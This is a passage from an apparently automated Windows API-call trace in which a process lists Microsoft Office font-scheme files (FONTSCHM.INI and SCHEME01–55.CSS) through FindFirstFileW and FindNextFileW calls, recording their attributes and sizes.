lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.015] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0252.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0252.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0252.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0252.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM", lpFilePart=0x0) returned 0x3d [0252.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0252.017] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa4c084e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa4c084e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa50cd6f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab02bf1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, 